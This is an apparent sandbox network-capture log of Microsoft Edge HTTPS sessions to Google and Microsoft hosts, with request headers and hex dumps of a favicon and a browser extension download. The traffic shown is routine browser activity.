2024-09-01 03:09:26 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49784	142.250.65.238	443	4248	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 03:09:26 UTC	567	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9
2024-09-01 03:09:26 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Sun, 01 Sep 2024 03:09:26 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49785	142.250.65.238	443	4248	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 03:09:26 UTC	567	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9
2024-09-01 03:09:26 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Sun, 01 Sep 2024 03:09:26 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49787	142.250.64.68	443	4248	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 03:09:26 UTC	887	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.2045.47" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9
2024-09-01 03:09:26 UTC	704	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sun, 01 Sep 2024 03:03:05 GMT Expires: Mon, 09 Sep 2024 03:03:05 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 381 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-09-01 03:09:26 UTC	686	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-09-01 03:09:26 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea ff 3b 49 eb ff 95 9c f4 ff cf d2 fa ff d1 d4 fa ff 96 9d f4 ff 52 5e ed ff e1 e3 fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 30 00 00 00 00 fd fd fd 9d ff ff ff ff e8 ea fd ff 58 63 ee ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 6c 76 f0 ff ff ff ff ff ff ff ff ff fd fd fd 98 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd c3 ff ff ff ff f9 f9 fe ff a5 ac f6 ff 5d 69 ee ff 3c 4a eb Data Ascii: 7R8F2Vb5C;IR^0Xc5C5C5C5C5C5Clv]i<J
2024-09-01 03:09:26 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff fd fd fd d0 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fd fd fd 8b ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b1 d8 a3 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 60 a5 35 ff ca 8e 3e ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 87 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 25 fd fd fd fb ff ff ff ff ff ff ff ff ff ff ff ff c2 e0 b7 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 6e b6 54 ff 9f ce 8d ff b7 da aa ff b8 db ab ff a5 d2 95 ff 7b bc 64 ff 54 a8 35 ff 53 a8 34 ff 77 a0 37 ff e3 89 41 ff f4 85 42 ff f4 85 42 ff fc Data Ascii: S4S4S4S4S4S4S4S4S4S4S4S4S4S4`5>%S4S4S4S4S4S4nT{dT5S4w7ABB
2024-09-01 03:09:26 UTC	1390	IN	Data Raw: f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fb d5 bf ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd cb ff ff ff ff ff ff ff ff ff ff ff ff 46 cd fc ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 21 ae f9 ff fb fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd c8 fd fd fd 9c ff ff ff ff ff ff ff ff ff ff ff ff 86 df fd ff 05 bc fb ff 05 bc fb ff 15 93 f5 ff 34 49 eb ff b3 b8 f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBF!4I
2024-09-01 03:09:26 UTC	574	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd 8d fd fd fd fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd fb fd fd fd 8b fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 27 fd fd fd 9f fd fd fd f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: $'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49806	142.250.181.225	443	6868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 03:09:38 UTC	594	OUT	GET /crx/blobs/AY4GWKBMNax_FQrZEVzNkO_0mu3UShnzR6AihR_EPjVIUOT_pwZzkWCpOk8YKIu0qnIq_YObWXuPyiJ7NA0nDjMHUEYIIEknsNvJHXuPd0MqxESzoxi9xiMyJKNwZiVV1yEAxlKa5UVe61sINARQ7fO9dE0bkfP_W4GG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_80_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-09-01 03:09:38 UTC	565	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135751 X-GUploader-UploadID: AD-8lju2LY-4SAGb0zhiQ4CEcEK30XwtxALHgJ-4n_1xB0a78B_nHHYy1P2l09WH_8SsWA131w X-Goog-Hash: crc32c=IDdmTg== Server: UploadServer Date: Sat, 31 Aug 2024 19:26:09 GMT Expires: Sun, 31 Aug 2025 19:26:09 GMT Cache-Control: public, max-age=31536000 Last-Modified: Tue, 23 Jul 2024 15:56:28 GMT ETag: 1d368626_ddaec042_86665b6c_28d780a0_b2065016 Content-Type: application/x-chrome-extension Age: 27809 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-09-01 03:09:38 UTC	825	IN	Data Raw: 43 72 32 34 03 00 00 00 e8 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-09-01 03:09:38 UTC	1390	IN	Data Raw: 30 5e ae fd 8f bf fc 18 3f ab aa ce 6f f5 9f 86 ea f3 4f e7 8b aa 7e fc f9 c7 ed f2 de 57 f2 ef e5 b5 1f ab 7e fc f1 97 7f fc 18 f2 a7 ba e6 52 7f be 7a 86 4d 61 da 86 e0 b6 91 9a 75 5d 9a b5 2a 9f 87 2d b7 6e 97 ac 9b be 32 73 3c 97 a6 da 8a e4 b0 45 fb 9f 36 ba 3c 2e c2 57 bd 48 91 71 68 ae 17 fd f9 3a 6a a8 79 f8 fe f7 4e dd 44 1a 5d 4e 6a fc f5 d0 bb b5 f4 df 2f a7 cb 61 8a 9a f7 7b e9 db fd f7 67 ca ce f9 92 d0 b9 66 29 ba 7e 7f 5f 98 88 8b a7 31 71 fe fe 4c da 11 23 06 47 da 8d 8d f0 51 97 77 14 c8 99 1d 4a 10 22 04 c4 8e 74 e1 33 0f c2 4d e5 0b 5b 3c 43 e7 18 dc 2e a5 0f 8d 7c 77 d8 1e 94 73 2b 4c 54 17 3e 9b 8f 26 ec 8e 26 50 a5 85 6a 61 ea eb 6e 98 0b 73 73 39 ee c2 67 61 3a ff 1e e7 f7 b3 85 53 ee a9 9e 59 f5 3e 81 0c 1d b9 f8 4a 3a 06 39 87 17 Data Ascii: 0^?oO~W~RzMau]*-n2s<E6<.WHqh:jyND]Nj/a{gf)~_1qL#GQwJ"t3M[<C.\|ws+LT>&&Pjanss9ga:SY>J:9
2024-09-01 03:09:38 UTC	1390	IN	Data Raw: 44 b0 b4 75 cd a2 45 f6 da fb af bc 3f ce 66 36 89 54 f7 7b 85 4d 64 18 16 65 30 97 1e f2 8b 3d 8c f3 00 e1 48 79 96 ec ea 1d f6 a0 d6 80 10 97 4f 10 60 43 7e 2d de bf 3f ac f5 dc 1b 32 87 63 d4 2b 25 8c c9 3d 52 f4 88 e8 d8 51 25 77 c5 5e 7a c9 5e 86 25 15 31 06 d8 2d 7b ad d1 54 eb 11 a3 53 14 2c cf 7d f9 ff d0 e0 b2 c1 43 66 d4 4a 06 e2 33 37 55 9a 78 d1 48 02 d7 8b 1b d1 0b 33 cc 70 a7 4b c1 72 2f c2 13 19 ed c4 5b a9 a0 8b 4d b9 59 5e 7b 72 2d ff 51 fb dc 0d f6 85 87 e6 ba 95 5e 68 12 00 3b 14 08 91 1b c3 91 cc 5a 03 7c cc a3 e0 a7 19 9b 8f 07 0b 70 9c 51 bc af ba f7 c7 22 7f 6b ed da 1b 3c a4 60 9b 5a c3 ab 54 de 7c 82 75 4b 00 a2 d8 aa 43 9d 31 12 d1 82 59 67 1d aa fb 81 1f 1b e0 15 11 e5 97 16 34 8b 65 ef 77 cd 57 b2 c7 ad ba 65 8d f2 aa de 35 a2 Data Ascii: DuE?f6T{Mde0=HyO`C~-?2c+%=RQ%w^z^%1-{TS,}CfJ37UxH3pKr/[MY^{r-Q^h;Z\|pQ"k<`ZT\|uKC1Yg4ewWe5
2024-09-01 03:09:38 UTC	1390	IN	Data Raw: 3a 66 63 2b dc 55 dd f4 76 4a 8c 67 19 c8 cf dc c0 a9 f6 5c fb 04 0e 30 9f 45 2b 3a 9d 3b 96 d8 5b 6e bd d6 e7 9c e8 c6 a6 3c ec 04 3f 00 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 3b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 ae cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee a5 e4 ce 91 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 9e cc c8 00 69 5f 40 62 95 20 df ff 5c 62 ff d0 7c 77 74 a5 ee 94 81 37 09 f8 6e 89 76 d0 cc c3 9e ed f1 98 74 e8 44 3c ad 43 b4 7d 7c ef 37 12 7f b8 65 96 f8 5e 7f 6d d6 87 cf c8 3f 3c ff 0f fe 46 0a 5c ba b6 fe 19 70 0e 32 75 0d ee 8d af b1 e1 04 85 42 3c 9e 59 9b c0 78 a6 b0 b5 39 1f b7 d1 de cd 12 22 41 49 d1 15 ab a1 11 33 5c d4 fd b2 5b d9 73 15 d6 f9 35 bc c7 cd bb 1d 79 b6 97 eb f1 e5 7e 9d 14 50 5d 28 7c 07 9c 0d Data Ascii: :fc+UvJg\0E+:;[n<?jOpD1;j=h&U?%h@Q6PlNf"wi_@b \b\|wt7nvtD<C}\|7e^m?<F\p2uB<Yx9"AI3\[s5y~P](\|
2024-09-01 03:09:38 UTC	1390	IN	Data Raw: 82 39 aa e0 7a ec d0 f9 66 30 94 41 fc df ee db 1c a9 13 e6 2d 30 13 82 a1 ce 12 31 7d 82 53 e2 83 47 45 59 27 58 b8 8f 29 06 91 69 cf 5a f8 cc 88 c6 0f 64 a8 24 03 ce ef 34 a6 34 d9 53 76 aa d1 f7 b6 0a 2b fc d4 75 76 ce 3a 75 4f 2d 57 df f3 bf de ff fb dd 66 83 81 23 92 f4 b0 c9 4d 75 c1 14 7c 9e f8 b8 ab 3c 75 20 0d 34 51 a3 0e b9 57 8f 5c c9 54 10 9d 35 cc 9b 85 ba 8d ce d3 40 ea df eb f4 bd c6 2c 8d bf 7f cb f8 66 fe ef 5a ba 1d ba 7f 9e b7 3c ff e1 39 cb 7f 7d 77 90 3e 1b 53 53 b5 ff 3a 2b 59 eb 1a b5 ef 9a f3 97 e0 e3 a3 e0 8e ca 4c fb 5e 74 ea 56 74 b6 f6 9f d3 57 e1 d7 9f b9 df 5e fe f7 bb 96 ae e7 1e 0d df 6b e7 fb 2c e6 b1 79 7f 1c 1b ef fb ff 1f ba be 0c 5d 77 5f 05 74 4c cd 62 ce b9 d6 b7 e6 3a 9d e3 7f 1f 1a cd c7 fb 67 75 fb f1 97 bf fe e3 Data Ascii: 9zf0A-01}SGEY'X)iZd$44Sv+uv:uO-Wf#Mu\|<u 4QW\T5@,fZ<9}w>SS:+YL^tVtW^k,y]w_tLb:gu
2024-09-01 03:09:38 UTC	1390	IN	Data Raw: 33 4d c7 0c 67 6e 81 d6 1e 0c 0b 79 e1 e5 4a 9e 81 e8 0e 6d e9 ca e1 60 fa 07 7f fa d2 b1 1f f7 7b ac 3f 4a 13 55 ac f1 4c 7f 94 cf f0 fa f1 b6 7e 2d 9f 5f f6 86 cc fe f1 ec 09 fd 70 24 26 57 1c cf 8f 61 96 f1 4e 24 37 5b 2c f1 37 09 ff 3e 8d 4e e3 76 3b 30 89 99 dc ba 80 99 fa f5 86 7a ab 17 00 10 99 70 d6 78 75 3f ec 5d 26 c0 29 73 23 b1 4d 01 b1 bd 85 22 65 c6 ae 4d 05 29 bb 19 a4 97 d3 26 50 39 76 5a 02 7b 3b 5c cd 19 16 9a 34 6a ca 98 31 83 a3 30 c0 8d 8b 90 69 14 2e 18 a7 11 fc 43 a4 1b 50 25 a6 9a b3 38 b3 01 a7 ed 89 86 13 1f da e6 66 69 88 9b 9b cb a3 0e 88 10 49 34 ac c5 ac 87 cc 0e df 3a 83 59 3f 4a c7 9a 9c 4a 52 22 4a 73 50 10 93 5b 04 26 5d e4 1b 03 5e 57 1d b5 9f 07 15 ea 11 56 a2 32 1c 57 08 4b 8e 3a dd 14 09 a5 9a 54 87 09 2c df 70 99 49 Data Ascii: 3MgnyJm`{?JUL~-_p$&WaN$7[,7>Nv;0zpxu?]&)s#M"eM)&P9vZ{;\4j10i.CP%8fiI4:Y?JJR"JsP[&]^WV2WK:T,pI
2024-09-01 03:09:38 UTC	1390	IN	Data Raw: 3d 97 d3 d8 25 32 96 b3 f5 13 f7 6e 04 c3 e8 d7 24 af 68 00 67 eb c3 66 e7 0c 80 f3 86 ed 66 61 be 93 2c c1 a2 81 5f 40 75 19 01 ec 81 b2 11 59 6b 02 01 7c 80 cd 06 9c b7 f6 39 2e 1b a2 d1 59 0b 31 ae 2b a8 f9 19 97 78 ba 9e 92 04 eb 38 0f b1 da 61 42 cf b8 b8 ab 80 50 16 da 7c e0 2a 5d 2e b6 61 3d 16 a7 f7 ad 25 37 09 0c 17 4a fa a3 b0 2f 74 b2 60 63 c4 b5 32 fd ca 4b dc 91 50 cd 08 cf a1 3e ef 10 50 75 05 0f a4 06 bb 61 21 1b 94 db 98 9a 6d 25 ee 69 db 2b 4b 9f 80 46 c6 7a 5d 13 fe 95 45 1a 44 be bd d3 f7 20 9f 7f 88 83 9f 5b 5b 41 3d 0c 7f 6e 6e 02 8a 0a a9 66 0f 64 38 ff 27 1a e0 86 95 3d 0e 65 8e 2a 9e ff b3 5a f5 13 b7 6b 4c e2 da dd 53 96 36 98 be 35 e0 8b a2 03 ec 6d 83 0f 98 a6 6a 9a 7d d4 30 cf b9 22 24 be 95 ed ae b5 82 4d 0c 6d 44 68 ea 50 61 Data Ascii: =%2n$hgffa,_@uYk\|9.Y1+x8aBP\|].a=%7J/t`c2KP>Pua!m%i+KFz]ED [[A=nnfd8'=eZkLS65mj}0"$MmDhPa
2024-09-01 03:09:38 UTC	1390	IN	Data Raw: c6 bc 81 e5 c6 01 f8 80 6e be 68 ae 8d 1a 92 d9 22 7c fb 47 cd 55 a8 b9 72 2b d4 f6 c4 b2 bb dd a3 21 3e c1 52 53 40 cc 0f 98 69 56 28 ab c0 b8 20 06 f5 02 9a 6f 68 bf 82 e6 8f 24 99 81 79 93 8e d4 f5 47 b4 3f 91 f0 93 e1 db ea 74 d9 df bc 02 e8 81 b4 53 49 59 03 c4 1b 90 6e de 93 27 17 a4 fa 97 68 50 4b ef a1 19 2a b3 8e 70 02 6b db 66 44 24 b0 33 79 cf de 43 b1 cd cd c3 41 86 8d 22 07 8e 36 37 b7 cc 9f 0b de bb 60 25 1c fe f7 ea 9b 07 c5 80 f6 9d 10 df 4c b8 27 ef 1c 14 d6 c4 c3 c8 1c ee dd 3d 4d da 8a 0c c4 52 71 54 0a cc 3d d5 5f 29 07 02 fd 8d 5b 75 1c 35 30 b0 47 f8 b3 f1 28 6e 46 7c 56 31 fc 89 c5 6c ca aa 76 67 10 f7 66 c9 bd 26 86 fd fd 33 5d db d6 b3 31 ae 67 3e af 13 4c ea cf 63 28 1c 73 d5 b7 cf 2e dd b8 9a fa 75 a8 12 83 1e ae 82 2c 32 d0 c3 Data Ascii: nh"\|GUr+!>RS@iV( oh$yG?tSIYn'hPK*pkfD$3yCA"67`%L'=MRqT=_)[u50G(nF\|V1lvgf&3]1g>Lc(s.u,2
2024-09-01 03:09:38 UTC	1390	IN	Data Raw: 0c 27 c9 15 33 8e 4d 6d 30 cb db c6 1d 95 4b 44 47 2a fe 65 6d 62 82 56 4a e1 cb 97 55 fc 6d 2d fc d8 a1 69 e9 bd ea 7b 41 b9 d4 6c 30 29 3a d9 54 cc 2c 05 5e a2 02 b3 c5 bb 08 19 d8 62 b9 d7 a5 62 06 3c 34 40 2e 25 3c 2e c3 97 e2 9d d1 3b c2 71 73 13 d5 e3 35 1f 0d 77 bd 52 9b 9d 01 9b 76 ce d3 0a 52 52 c7 6b 5d b2 e6 95 0a ae bf 14 a3 21 ab aa 31 20 bd b4 d7 42 bf e6 ac e0 5e 40 6f ac 03 3a 6a 01 54 03 d6 36 21 06 2c ba 37 91 a3 0c 4f d2 f8 12 13 46 bb 84 e9 6e dd 4f 81 45 78 78 68 42 e3 13 1f ac 1d 5f 60 04 f8 9a c2 4f 39 8e dc 8c 8d 17 91 02 eb a3 e5 59 ed 20 d2 12 4f e2 a7 7e 66 86 b7 89 8d 5e 42 dd ad 6d cf 2f c2 ed a0 58 e6 a4 e8 94 cb 4f a1 44 3b d4 2c b4 50 44 ce 14 d0 d2 b6 82 1a 45 be 6a b8 a8 f3 70 b4 81 60 59 46 50 39 3d 99 b2 b8 fb 19 23 90 Data Ascii: '3Mm0KDG*embVJUm-i{Al0):T,^bb<4@.%<.;qs5wRvRRk]!1 B^@o:jT6!,7OFnOExxhB_`O9Y O~f^Bm/XOD;,PDEjp`YFP9=#
2024-09-01 03:09:38 UTC	1390	IN	Data Raw: 4e 7f fd fa f3 8f 27 8f ff d8 06 aa 7b 8f 52 b0 a4 78 a6 f8 ce 72 c4 5f 39 36 74 23 3d a2 5e 64 ed 29 3c 87 d5 63 57 ef 41 05 40 38 0f e8 2f d0 e8 ee 60 78 31 a8 e0 aa 56 f0 9d a3 17 ab 1f c9 83 ee a5 c0 0c d4 43 84 42 20 54 19 07 77 89 e3 f9 04 05 67 92 9e a7 b0 83 ae 1c df b9 60 e3 01 68 2e f0 49 a9 c5 b0 3d 74 1f 03 d9 07 37 09 19 27 70 29 60 8f d4 1e 13 eb a4 2d 83 17 0b 58 58 65 0b 2b 09 80 2e 29 5a 5a 1e 7b 0b 46 a0 a2 7f e9 a8 77 64 98 5b 0e e4 3a 8a 11 91 76 32 04 ed 6a 28 4f 01 04 c6 70 85 84 f6 e7 b3 20 6e 41 39 10 d0 00 a9 42 a0 f8 c0 6e f0 6c 6d 44 a1 12 09 6c f4 67 bf 3f ab ff f1 f8 f1 1c 10 16 b7 35 9a 93 9f 70 5f e2 ca bd 60 c7 46 0f d8 18 13 66 58 1b 01 f9 88 5d 2a e3 a5 e8 eb b3 27 1a 94 30 a2 67 4f 44 be 18 97 0f cf c7 58 11 76 5a 6f 97 Data Ascii: N'{Rxr_96t#=^d)<cWA@8/`x1VCB Twg`h.I=t7'p)`-XXe+.)ZZ{Fwd[:v2j(Op nA9BnlmDlg?5p_`FfX]*'0gODXvZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49810	13.107.246.60	443	6868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-01 03:09:40 UTC	486	OUT	GET /assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: ArbitrationService Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-09-01 03:09:40 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:40 GMT Content-Type: application/octet-stream Content-Length: 11989 Connection: close Last-Modified: Fri, 23 Aug 2024 00:10:35 GMT ETag: 0x8DCC30802EF150E x-ms-request-id: 903262f1-801e-001b-4826-f94695000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240901T030940Z-16579567576txfkctmnqv2e9c400000005f000000000cs9g Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT Accept-Ranges: bytes
